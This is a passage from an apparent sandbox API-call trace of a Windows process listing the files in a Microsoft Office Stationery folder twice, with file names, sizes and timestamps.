ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0178.974] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0178.974] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0178.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0178.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ecae0) returned 1 [0178.974] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033", nBufferLength=0x105, lpBuffer=0x200ec580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033", lpFilePart=0x0) returned 0x36 [0178.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*", lpFindFileData=0x200ec800 | out: lpFindFileData=0x200ec800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.977] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.977] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0178.977] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.HTM", cAlternateFileName="")) returned 1 [0178.977] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.GIF", cAlternateFileName="")) returned 1 [0178.977] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.HTM", cAlternateFileName="")) returned 1 [0178.978] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd36, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.GIF", cAlternateFileName="")) returned 1 [0178.978] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb524bc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb524bc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.HTM", cAlternateFileName="")) returned 1 [0178.978] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.GIF", cAlternateFileName="")) returned 1 [0178.978] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.HTM", cAlternateFileName="")) returned 1 [0178.978] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.HTM", cAlternateFileName="")) returned 1 [0178.978] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.JPG", cAlternateFileName="")) returned 1 [0178.978] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1202, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.GIF", cAlternateFileName="")) returned 1 [0178.978] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.HTM", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.GIF", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.HTM", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.HTM", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.JPG", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.HTM", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1889, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.JPG", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.GIF", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 1 [0178.979] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0178.980] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eca20) returned 1 [0178.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9e0) returned 1 [0178.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ecae0) returned 1 [0178.980] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033", nBufferLength=0x105, lpBuffer=0x200ec580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033", lpFilePart=0x0) returned 0x36 [0178.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*", lpFindFileData=0x200ec800 | out: lpFindFileData=0x200ec800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.981] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.981] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0178.982] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.HTM", cAlternateFileName="")) returned 1 [0178.982] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.GIF", cAlternateFileName="")) returned 1 [0178.982] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.HTM", cAlternateFileName="")) returned 1 [0178.982] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd36, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.GIF", cAlternateFileName="")) returned 1 [0178.982] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb524bc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb524bc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.HTM", cAlternateFileName="")) returned 1 [0178.982] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.GIF", cAlternateFileName="")) returned 1 [0178.983] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.HTM", cAlternateFileName="")) returned 1 [0178.983] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.HTM", cAlternateFileName="")) returned 1 [0178.983] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.JPG", cAlternateFileName="")) returned 1 [0178.983] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1202, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.GIF", cAlternateFileName="")) returned 1 [0178.983] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.HTM", cAlternateFileName="")) returned 1 [0178.983] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.GIF", cAlternateFileName="")) returned 1 [0178.983] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.HTM", cAlternateFileName="")) returned 1 [0178.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.HTM", cAlternateFileName="")) returned 1 [0178.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.JPG", cAlternateFileName="")) returned 1 [0178.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.HTM", cAlternateFileName="")) returned 1 [0178.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1889, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.JPG", cAlternateFileName="")) returned 1 [0178.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, 